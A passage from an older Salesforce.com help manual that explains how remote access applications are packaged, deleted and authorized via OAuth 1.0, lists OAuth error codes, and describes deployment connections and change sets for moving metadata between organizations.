immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new
version of the managed package is released.
• Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
• When a remote access application is in a managed packaged, only subscriber organizations can use the generated consumer
key. If a remote access application is not contained in a package, any organization or user can use the key.
• If you create a new version of a managed package that contains a remote access application, the existing remote access
applications will still work with the newest version.
• A remote access application in an unmanaged package can only be used in the organization in which it was created. Only
remote access applications in managed packages can be used across organizations.

See Also:
Remote Access Application Overview
Defining Remote Access Applications

Deleting Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

When you delete a remote access application contained in a managed package, access to that remote access application is
immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version
of the managed package is released. Do not delete remote access applications unless you are certain this is the correct behavior.

1666
Develop Viewing Remote Access Application Details

Click Delete to delete the remote access application. Click Cancel to go back to the previous page.

See Also:
Remote Access Application Overview
Defining Remote Access Applications
Packaging Remote Access Applications

Viewing Remote Access Application Details


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

Use the remote access pages to specify remote access applications that can access a Salesforce.com instance.
To view the details for a defined application, click Setup ➤ Develop ➤ Remote Access, and click the name of the application.
From this page you can do any of the following:

• Edit—Change the name, contact information, and so on.


Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
Once you add a remote access application to a package, you cannot remove it from the package. The only way to
remove a remote access application from a package is to delete it from your organization.

• Del—Delete the remote access application.

See Also:
Remote Access Application Overview
Defining Remote Access Applications

Authenticating Remote Access Application OAuth


When a user requests their Salesforce.com data from within the external application (the consumer's page), the user must be
authenticated by Salesforce.com. There are several steps in the authentication flow, as dictated by the OAuth standard.
The following diagram displays the authentication flow steps. The individual steps are described below.

1667
Develop Authenticating Remote Access Application OAuth

1668
Develop Authenticating Remote Access Application OAuth

1. The consumer requests a RequestToken. Salesforce.com verifies the request and returns a request token.
2. The consumer should redirect the user to Salesforce.com, where they are prompted to log in.
3. Salesforce.com authorizes the user.
4. Once the user is authorized, the consumer requests an AccessToken.
5. Salesforce.com verifies the request and grants the token.
6. After the token is granted, the consumer accesses the data either through their application or through the Force.com Web
services API.
7. Salesforce.com verifies the request and allows access to the data.

The following sections go into more details about each of these steps.
Tip: To use a remote access application with a Force.com Sandbox, use test.salesforce.com instead of
login.salesforce.com in the following sections.

For the list of possible error codes returned by Salesforce.com, see Remote Access Application OAuth Error Codes
on page 1672.

Requesting a RequestToken
When a consumer makes an initial request to Salesforce.com, a RequestToken is returned if the request is valid. The following
steps contain more detail for the developer who is using a remote access application to request Salesforce.com data.
1. A consumer application needs to access Salesforce.com data and sends a request to
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. The
request contains the following:
• A valid request for a RequestToken, which contains the following OAuth parameters:
- oauth_consumer_key
- oauth_signature_method—must be HMAC-SHA1.
- oauth_signature
- oauth_timestamp
- oauth_nonce
- oauth_version—optional, must be “1.0” if included
- oauth_callback—must be one of the following:

- URL hosted by the consumer, for example,


https://www.appirio.com/sfdc_accounts/access_token_ready.html. Note that this URL uses
https or another protocol. It cannot use http. .
- oob, meaning out of band.

• A signature created according to the OAuth specification for HMAC-SHA1

2. After Salesforce.com receives the request, Salesforce.com does the following:


• Validates the request with its own copy of the consumer secret
• Generates a response containing RequestToken and RequestTokenSecret in the HTTP body as name/value pairs
• Sends the response back to the consumer
A RequestToken is only valid for 15 minutes, plus three minutes to allow for differences between machine clocks.
3. The consumer directs the user to a Salesforce.com login page, as specified in the next section.

1669
Develop Authenticating Remote Access Application OAuth

Authorizing the User


After the request from the consumer is made to Salesforce.com, the user must be authenticated by Salesforce.com before the
process continues. The following contains more detailed steps about the login procedure for developers who are using a remote
access application to request Salesforce.com data.
1. The consumer redirects the user to the following location, where they are prompted to log in:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp.The appropriate
GET query parameters are appended to this URL:
• oauth_token – the RequestToken
• oauth_consumer_key

Note: If an oauth_callback parameter is included, it is ignored.

2. The Remote Access Authorization page displays.


3. If the user approves access for the consumer, Salesforce.com generates the AccessToken and AccessTokenSecret.
Note: The number of concurrent access tokens that can be granted by a user to an application is limited. The
default is five per application per user. If this authorization exceeds the limit for the organization, the user is notified
that their authorization automatically revokes the token or tokens for this application that haven't been used for
the longest period of time.

4. Salesforce.com verifies the callback URL (either specified in the remote access application definition pages or in the
oauth_callback parameter from the previous stage). If the specified URL can accept a verifier token value, one of the
following occurs:
• If the oauth_callback defined in the RequestToken is oob and the Callback URL field in the remote access
application definition page has a valid value, the user is redirected to that URL.
• If the oauth_callback defined in the RequestToken is a valid URL, the user is redirected to that URL.
If the callback URL cannot accept the verifier token, the user is presented with a validation code that must be entered into
the consumer application.
5. The consumer is notified that the AccessToken and AccessTokenSecret are available either by receiving the verification
token from Salesforce.com or the validation code from the end user.

Requesting the AccessToken


Once the user has been authenticated, the consumer can exchange a RequestToken for an AccessToken. The following contains
more detailed steps regarding the exchange of tokens for developers who are using a remote access application to request
Salesforce.com data.
1. The consumer makes an HTTPS GET or POST request to
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler, with
the required parameters in the query or post data:
• oauth_consumer_key
• oauth_signature_method
• oauth_signature
• oauth_timestamp
• oauth_token
• oauth_nonce
• oauth_verifier

1670
Develop Authenticating Remote Access Application OAuth

• oauth_version—optional, must be “1.0” if included

2. Salesforce.com validates the following:


• The consumer secret
• The consumer key
• The signature
• That the RequestToken has never been used before
• The timestamp (must be within 15 minutes, plus three minutes to allow for differences between machine clocks)
• That the nonce has never used before

3. Upon validation, Salesforce.com returns the AccessToken and AccessTokenSecret in the HTTP response body as name/value
pairs.

Generating oauth_signature for Login


You can access Salesforce.com using either the user interface, or using the API. The oauth_signature used for login is
generated differently, depending on which method you use.
• User interface—use https://login.salesforce.com for generating the signature
• API—use https://login.salesforce.com/services/OAuth/type/api-version for generating the signature.
type must have one of the following values:

- u—Partner WSDL
- c—Enterprise WSDL

For example, https://login.salesforce.com/services/OAuth/u/17.0.

Accessing Salesforce.com Data Using the Consumer Application


Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce.com data. The
following contains more detailed steps regarding accessing data for developers who are using a remote access application to
request Salesforce.com data.
1. The consumer makes an HTTPS POST request to https://login.salesforce.com, with the required parameters
in the authorization header:
• oauth_consumer_key
• oauth_token
• oauth_signature_method
• oauth_signature
• oauth_timestamp
• oauth_nonce
• oauth_version (optional, must be “1.0” if included)

2. Salesforce.com validates the request and sends a valid session ID to the consumer.

Accessing Salesforce.com Data Using the API


Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce.com data using
the Force.com Web services API.
Note: Your organization must have access to both the API and to the remote access application. Contact your
salesforce.com representative for more information.

1671
Develop Authenticating Remote Access Application OAuth

The following contains more detailed steps regarding accessing data for developers who are using a remote access application
to request Salesforce.com data.
1. The consumer makes an HTTPS POST request to Salesforce.com.
• The URL must have the following format:
https://login.salesforce.com/services/OAuth/type/api-version
type must have one of the following values:

- u—Partner WSDL
- c—Enterprise WSDL

api-version must be a valid API version.


• The authorization header must have the following parameters:
- oauth_consumer_key
- oauth_token
- oauth_signature_method
- oauth_signature
- oauth_timestamp
- oauth_nonce
- oauth_version (optional, must be “1.0” if included)

2. Salesforce.com validates the request and sends a valid session ID to the consumer. The response header includes the
following:

<response>
<metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK

</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK
</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>

See Also:
Remote Access Application Overview
Remote Access Applications and OAuth Terminology
Remote Access Application OAuth Error Codes
Defining Remote Access Applications

Remote Access Application OAuth Error Codes


Salesforce.com returns the following error codes during the remote access OAuth authentication steps. The returned error
code is based on the error received.

1672
Develop Authenticating Remote Access Application OAuth

Fault Code Error Notes


1701 Failed: Nonce Replay Detected A Nonce can only be used once.
1702 Failed: Missing Consumer Key Parameter
1703 Failed: Invalid Access Token
1704 Failed: Version Not Supported You must specify 1.0 for the oauth_version
parameter.
1705 Failed: Invalid Timestamp The timestamp is one of the following: missing, in the
future, too old, or malformed.
1706 Failed: Invalid Nonce The Nonce is missing.
1707 Failed: Missing OAuth Token Parameter
1708 Failed: IP Address Not Allowed
1709 Failed: Invalid Signature Method The RequestToken contains an invalid
oauth_signature_method parameter.

1710 Failed: Invalid Callback URL The RequestToken contains an invalid


oauth_callback parameter. Value must be either
oob or a valid URL that uses https.

1711 Failed: Invalid Verifier The AccessToken. contains an invalid


oauth_verifier parameter.

1712 Failed: Get Access Token Limit Exceeded Can only attempt to exchange a RequestToken for an
AccessToken three times.
1713 Failed: Consumer Deleted The remote access application has been deleted from
the Salesforce.com organization.
1716 Failed: OAuth Api Access Disabled Either the Force.com Web services API is not enabled
for the organization, or OAuth API access has been
disabled for the organization.

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth

1673
Develop Remote Access Application Request

Remote Access Application Request


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

The external application you are using is requesting access to your Salesforce.com data. The external application has already
been integrated into Salesforce.com by your administrator.
To grant this application access to your Salesforce.com data, click Accept.
If the description of the application does not match the application you are currently using or for any other reason you do not
want to grant access to your data, click Deny.
You can only grant access to an external application a specific number of times. Generally, you grant access for every device
you use, such as a laptop and a desktop computer. The default is five per application. If you've reached the limit for your
organization, granting access to this application automatically revokes access to the token or tokens for this application that
haven't been used for the longest period of time. The remote access application token or tokens that will be revoked display
on the page.
After you have granted access to a remote access application, you can revoke it later by clicking Setup ➤ My Personal
Information ➤ Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview

Remote Access Application Request Approved


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

The external application you are using has requested access to your Salesforce.com data, and you approved this request. Close
the browser window and go back to the application you were using.

1674
Develop Managing Remote Access Applications

After you have granted access to a remote access application, you can revoke it later by clicking Setup ➤ My Personal
Information ➤ Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview
Remote Access Application Request

Remote Access Application Request Denied


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

The external application you are using has requested access to your Salesforce.com data and you denied this access. You should
log out of Salesforce.com. You can go back to the originating application.

See Also:
Remote Access Application Overview
Remote Access Application Request

Managing Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

A remote access application is an application external to Salesforce.com that uses the OAuth protocol to verify both the
Salesforce.com user and the external application. All remote access applications have been integrated with Salesforce.com,
such that they can access a subset of your Salesforce.com data once you explicitly grant each application permission.
All remote access applications that have permission to access your Salesforce.com data are listed in your personal information.
Click Setup ➤ My Personal Information ➤ Personal Information, and go to the Remote Access section. From there you
can do the following:

• View information about each remote access application that you have granted access to, as well as the number of times and
the last time the application attempted to access your information.

1675
Deploy Deployment Overview

Note:

- An application may be listed more than once. Each time you grant access to an application, it obtains a new
access token. You must grant access to your Salesforce.com data from each device that you use, for example,
from both a laptop and a desktop computer. The default limit is five access tokens for each application.
- Even if the remote access application tried and failed to access your information because it could not login, the
Use Count and Last Used fields are still updated.

• Click Revoke to revoke the remote access application. After you revoke the application, the application can no longer use
that particular remote access authorization token to access your Salesforce.com data.
Important: You must revoke all access tokens for a particular application to prevent it from accessing your
Salesforce.com data.

See Also:
Remote Access Application Overview

DEPLOY

Deployment Overview
User Permissions Needed
To edit deployment connections: “Deploy Change Sets”
To use outbound change sets:
“Create and Upload Change Sets,”
“Create AppExchange Packages,”
AND
“Upload AppExchange Packages”

To use inbound change sets: “Deploy Change Sets”

Click Setup ➤ Deploy to access tools used for migrating metadata changes between organizations.
Deployment Connections
In order to use the change sets feature, a deployment connection is required. You can specify connection permissions
for both outbound and inbound change sets on the Deployment Connections page.

Outbound Change Sets


Make changes in the organization you are logged into, and upload those changes to another organization.

1676
Deploy Change Sets Overview

Inbound Change Sets


Accept, modify, or reject change sets uploaded from other organizations.

Monitor Deployments
Monitor the progress of deployments made through the Metadata API.
Note: Configuration changes deployed using change sets do not appear on the Monitor Deployments page.

See Also:
Change Sets Overview
Monitoring Metadata Deployments

CHANGESETS

Change Sets Overview


Available in Enterprise, Unlimited, and Free Editions

User Permissions Needed


To edit deployment connections: “Deploy Change Sets”
To use outbound change sets:
“Create and Upload Change Sets,”
“Create AppExchange Packages,”
AND
“Upload AppExchange Packages”

To use inbound change sets: “Deploy Change Sets”

A change set is a means by which one organization can send customizations to another organization. For example, you could
create a new object in a sandbox organization and send it to your production organization using a change set. Change sets can
only contain modifications you can make through the Setup menu; therefore, you can't use a change set to upload a list of
contact records. In other words, change sets contain metadata, not data.
When you want to send customizations from your current organization to another organization, you create an outbound change
set. Once you send the change set, the receiving organization sees it as an inbound change set.

1677
Deploy Components Available in Change Sets

Sending a change set between two organizations requires a deployment connection. Currently, change sets can only be sent
between organizations that are affiliated with a production organization, for example, a production organization and a sandbox,
or two sandboxes created from the same organization.

See Also:
Components Available in Change Sets
Deployment Connections
Outbound Change Sets
Inbound Change Sets
Implementation Tips
Best Practices

Components Available in Change Sets


In order to add a component to a change set, the component must be available in the Metadata API. The following types of
components may be added to a change set, but note that during this beta release, the list of available components may change
at any time:

• Apex class
• Apex trigger
• Analytic snapshot
• Custom application
• Custom object
• Custom object translation
• Custom field
• Custom label
• Custom page Web link
• Custom site
• Custom tab
• Dashboard
• Document
• Email template
• Folder
• Home page component
• Home page layout
• Page layout
• Letterhead
• Portal
• Record type
• Report
• Report type
• S-control
• Static resource
• Translation Workbench

1678
Deploy Deployment Connections

• Validation rule
• Visualforce component
• Visualforce page
• Web link
• Workflow

Note: If you create or modify components that are not available in the Metadata API, you can't send those components
from one organization to another in a change set. In this case, migrate the changes manually by repeating the steps
you performed when you created or modified the component.

See Also:
Force.com Metadata API Developer's Guide
Change Sets Overview

Deployment Connections
User Permissions Needed
To edit deployment connections: “Deploy Change Sets”

In order for change sets to be sent from one organization to another, a deployment connection is required between the
organizations. Deployment connections can't be created between arbitrary organizations; instead, a deployment connection
is created between all organizations affiliated with a production organization. For example, if you have a production organization
(Prod) and two sandboxes (Dev and Test), a deployment connection is created between production and each sandbox (Prod
and Dev, and another connection between Prod and Test), as well as between the sandboxes (Dev and Test).
A deployment connection alone doesn't enable change sets to be sent between organizations. Each organization must be
authorized to send and receive change sets. This added level of security enforces code promotion paths and keeps organizations'
setup metadata from being overwritten by mistake.
For example, the following figure illustrates one possible migration path for a production organization and two sandboxes. In
this example, the production organization can only receive changes that have been fully tested, so only the Test sandbox is
authorized to upload change sets to production. In order to synchronize development projects with the production organization,
the Prod organization can send change sets to the Dev sandbox, but not to the Test sandbox. Finally, because the features in
development need iterative testing, Dev and Test sandboxes should be able to send change sets back and forth.

1679
Deploy Viewing Available Deployment Connections

Figure 18: Change Set Authorization Enforces Code Path

Note: This illustration describes one possible code migration path. Your department must create its own policies for
organizations to send and receive change sets to one another.

See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview

Viewing Available Deployment Connections


A deployment connection enables customizations to be copied from one organization to another. The deployment connections
list shows which organizations are authorized to upload changes to this organization, and which organizations allow this
organization to upload changes to them.
To view available connections, click Setup ➤ Deploy ➤ Deployment Connections
Action
Click Edit next to the organization that you want to allow or disallow change sets from.

Name
A list of organizations that have deployment connections to the organization you are currently logged into. Click the
name of an organization to view more information about the connection.

Description
A brief description of the connected organizations.

Type
The type of organization you are connected to. Possible values are Production, Full Copy Sandbox, Configuration-only
Sandbox, and Developer Sandbox.

1680
Deploy Viewing Details of a Deployment Connection

Upload Authorization Direction


The arrows show the direction in which uploads can occur. A broken line means that no change sets are authorized in
either direction. To authorize the connected organization to send you inbound change sets, edit the deployment connection
for this organization. If you want to send outbound change sets to a connected organization, the administrator for that
organization must edit the connection for that organization.

See Also:
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview

Viewing Details of a Deployment Connection


A deployment connection enables customizations to be copied from one organization to another. The deployment connections
list shows which organizations are authorized to upload changes to this organization, and which organizations allow this
organization to upload changes to them.
To view connection details:

1. Click Setup ➤ Deploy ➤ Deployment Connections.


2. Click the name of the organization you want to view.

Name
The name of the selected organization. This is not the organization you are logged into.

Description
A brief description of the organization.

Type
The type of organization you are connected to. Possible values are Production, Full Copy, Configuration-only, and
Developer.

Allow Inbound Changes


If selected, the named organization can send change sets to the organization you are currently logged into. This is a
read-only field and can only be modified by selecting Allow Inbound Changes in the target organization.

Accepts Outbound Changes


If selected, the named organization allows change sets to be sent to it from the organization you are currently logged
into.

See Also:
Viewing Available Deployment Connections
Authorizing a Deployment Connection
Change Sets Overview

1681
Deploy Authorizing a Deployment Connection

Authorizing a Deployment Connection


In order for another organization to send change sets to the organization you are logged into, you must authorize the inbound
change set:

1. Click Setup ➤ Deploy ➤ Deployment Connections.


2. Click Edit next to the organization you want to authorize.
3. Select Allow Inbound Changes.
4. Click Save.

See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Change Sets Overview

Outbound Change Sets


User Permissions Needed
To create, edit, or upload outbound change sets:
“Create and Upload Change Sets,”
“Create AppExchange Packages,”
AND
“Upload AppExchange Packages”

An outbound change set is a change set created in the organization you are logged into and that you want to send to another
organization. Typically, an outbound change set is used for customizations created and tested in a sandbox and then sent to
a production organization.
Sending an outbound change set to another organization doesn't guarantee that the changes will be implemented in that
organization. The change set must deployed (accepted) by the target organization before the changes take effect.

1682
Deploy Outbound Change Sets

Note: Change sets are limited to 2,500 components and a total file size of 400 MB.

See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Uploading Change Sets During Server Upgrades


During server upgrades, production and sandbox environments may not be running the same version of the platform. Some
components may have new functionality or other changes that will not allow you to deploy that type of component until the
production organization is running the same version as sandbox.
If you upload a change set that has components that can't be deployed, the system detects which components can't be deployed,
and gives you the option of uploading the remaining components.
For example, Apex classes are automatically upgraded whenever a new version of the platform is released. If you create a change
set in a sandbox during the sandbox preview and then upload that change set to a production organization, the system won't
allow you to upload Apex classes. Likewise, other types of components that have changes that are incompatible between
versions will be removed from the change set. However, components that remained unchanged between versions can be
migrated freely.

Outbound Change Sets


An outbound change set is a change you want to send from the organization you are logged into to another organization. To
view outbound change sets, click Setup ➤ Deploy ➤ Outbound Change Sets.

• To create a new change set, click New.


• To view the details of an existing change set, click its name.

Cloning an Outbound Change Set


You can create a copy of an existing change set by cloning it.

1. Click Setup ➤ Deploy ➤ Outbound Change Sets.


2. Click the name of the change set you want to clone.

1683
Deploy Selecting Components for an Outbound Change Set

3. Click Clone.

See Also:
Outbound Change Sets
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Selecting Components for an Outbound Change Set


To select the components in an outbound change set:

1. Click Setup ➤ Deploy ➤ Outbound Change Sets.


2. In the Change Sets list, click the name of a change set.
3. Click Add.
4. Choose the type of component and the components you want to add and then click Add to Change Set.
5. Optionally, click View/Add Dependencies to add dependent components.
Note: Dependent components rely on the existence of other components. Unless you are certain that the dependent
components exist in every organization this change set will be deployed to, it's a good idea to add dependent
components to the change set.

See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Uploading an Outbound Change Set


Once you've assembled the components in a change set, you can upload it to another organization. Note that once you upload
a change set, you can't edit it or recall it.

1. Click Setup ➤ Deploy ➤ Outbound Change Sets.


2. Click the name of a change set.
3. Select the organization you want to send the change set to.

1684
Deploy Viewing and Adding Dependent Components to a Change Set

4. Click Upload.

Note: Outbound change sets expire six months after upload, at which time the change set is permanently deleted.

See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Viewing and Adding Dependent Components to a Change


Set
A dependency is a relationship where one or more components must exist for another component to exist. It's a good idea to
add dependent components to a change set, unless you are sure that the dependent components exist in every organization
where this change set will be deployed.
To add dependent components to an outbound change set:

1. Click Setup ➤ Deploy ➤ Outbound Change Sets.


2. In the Change Sets list, click the name of a change set.
3. Click View/Add Dependencies.
4. On the Component Dependencies page, select the dependent components you wish to deploy and click Add to Change
Set.

See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview

Outbound Change Set Validation Errors


If you receive an error about cross-version validation, then the organization used to create the outbound change set is running
on a different platform version than the organization receiving the change set. This error typically occurs during upgrades,

1685
Deploy Deleting an Outbound Change Set

because organizations may be upgraded at different times. If you receive this error, you can only deploy those components that
have are compatible between versions.

See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Deleting an Outbound Change Set
Change Sets Overview

Deleting an Outbound Change Set


To delete an outbound change set:

1. Click Setup ➤ Deploy ➤ Outbound Change Sets.


2. Click the name of the change set you want to delete.
3. Click Delete.

See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Change Sets Overview

1686
Deploy Inbound Change Sets

Inbound Change Sets


User Permissions Needed
To deploy inbound change sets: “Deploy Change Sets”

An inbound change set is a change set that has been sent from another organization to the organization you are logged into. A
change sent must be deployed for the changes to take effect. You can deploy or reject the contents of an inbound change set as
a whole, but not on a component-by-component basis.

See Also:
Viewing Inbound Change Sets
Viewing Change Set Details
Deploying a Change Set
Change Sets Overview

Viewing Inbound Change Sets


The Inbound Change Sets page lists change sets awaiting deployment, as well as the history of deployed change sets. To view
inbound change sets, click Setup ➤ Deploy ➤ Inbound Change Sets.
Note: Inbound change sets are permanently deleted six months after the change set is uploaded.

See Also:
Inbound Change Sets
Viewing Change Set Details
Deploying a Change Set
Change Sets Overview

Viewing Change Set Details


The Change Sets detail page lists information about a particular change set.

1. Click Setup ➤ Deploy ➤ Inbound Change Sets.

1687
Deploy Deploying a Change Set

2. Click the name of a change set.

See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Deploying a Change Set
Change Sets Overview

Deploying a Change Set


To deploy a change set:

1. Click Setup ➤ Deploy ➤ Inbound Change Sets.


2. In the Change Sets Awaiting Deployment list, click the name of the change set you want to deploy.
3. Click Deploy.

A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire transaction
is rolled back. After a deployment completes successfully, all changes are committed to your organization and the change set
cannot be rolled back.
Note: The Force.com platform requires at least 75% of your code to be covered by unit tests before you can deploy it
to a production organization. Ideally, you should strive for 100% coverage. The code coverage restriction is not enforced
for sandbox or Developer Edition organizations.

See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Viewing Change Set Details
Change Sets Overview

Implementation Tips
Permissions required to use change sets
To send a change set to another organization, a user must have “Create and Upload Change Sets,” “Create AppExchange
Packages,” and “Upload AppExchange Packages” profile permissions.
To deploy a change set received from another organization, a user must have the “Deploy Change Sets” profile permission.

Authorization required to upload changes


Before you can deploy a change set from one organization to another, an administrator in the target organization must
authorize uploads across the deployment connection between the two organizations.

1688
Deploy Best Practices

Deployment Connections list displays all connections


The Deployment Connections list is automatically populated with your production organization and all sandboxes. It
is possible to deploy between any of these organizations, but no other organizations.

Change set connections unavailable during maintenance


Authorizing deployment connections and uploading pages require information from the production organization, and
are unavailable when production is undergoing maintenance. During this time you can construct outbound change sets
but not upload them.

Sandboxes must be available


If an organization has no sandboxes provisioned, the user may see an Insufficient Privileges error on the Deployment
Connections page.

Deployment is a one-way transaction


A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire
transaction is rolled back. After a deployment completes successfully, all changes are committed to your organization
and the change set cannot be rolled back.

Profiles not supported


Change sets don't currently support uploading or deploying profiles, which control the visibility and access levels of some
components such as tabs, objects, and fields. Therefore, after deploying a change set to an organization, new components
don't automatically appear to non-administrator users. To allow end users to view these components, edit their profiles
and adjust the visibility and access levels accordingly.

Uploaded change sets can't be modified


Change sets can only be modified or deleted before they are uploaded; once you upload the change set, you can't add or
delete components. You also can't delete the change set.

See Also:
Best Practices
Change Sets Overview

Best Practices
Change sets are available as a beta feature. During the beta period, functionality may change at any time in order to fix bugs,
remove limitations, or improve the feature in other ways. The following list contains best practices.
Deploy all dependent components
Make sure each change set contains all interdependent components that don't exist in the target organization. If you try
to deploy a component that refers to another component missing from the target organization and from the change set,
the deployment fails.
Change sets give you fine-grained control over what you deploy. For example, you can migrate custom fields individually.
To deploy a custom object and all of its fields, you must add the custom object and every field to the change set; adding
just the custom object to the change set won't cause deployment to fail, but results in an empty custom object.

1689
Deploy Monitoring Metadata Deployments

Clone a change set to add dependent components to an uploaded change set


After you upload a change set, you can't change its contents. If you need to add dependent components to a change set
you already uploaded, clone the change set, add the dependent components, and then upload it again.

Plan deployments around maintenance schedule


Plan your deployment activities around the maintenance schedule for both your production and sandbox organizations.
Some features require information from your production organization when accessed from a sandbox.

View change set details


If you deploy an inbound change set in the target organization that was uploaded by someone else, and the deployment
fails, you may want to contact the person who uploaded it so they can fix the problem. To find out who uploaded the
change set, look in the Uploaded By field.

Change sets limited to 2500 components and 400 MB


Change sets are limited to 2500 components and a total file size of 400 MB. If your change set exceeds either of these
limits, you can create sepa

Das könnte Ihnen auch gefallen